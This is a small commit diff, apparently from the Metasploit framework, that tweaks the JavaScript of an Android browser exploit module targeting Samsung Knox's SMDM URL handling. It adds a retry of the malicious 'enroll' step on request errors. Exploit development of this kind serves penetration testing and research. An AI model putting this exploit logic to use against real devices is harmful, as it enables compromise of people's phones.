minor syntax fixes.

Author: jvennix-r7

modules/exploits/android/browser/samsung_knox_smdm_url.rb

@@ -136,12 +136,15 @@ def exploit_js
               setTimeout(killEnrollment, 100);
             } else {
               setTimeout(poll, 1000);
-              setTimeout(enroll,0);
-              setTimeout(enroll,500);
+              setTimeout(enroll, 0);
+              setTimeout(enroll, 500);
             }
           }
         };
-        xhr.onerror = function(){ setTimeout(poll, 1000); };
+        xhr.onerror = function(){
+          setTimeout(poll, 1000);
+          setTimeout(enroll, 0);
+        };
         xhr.send();
       }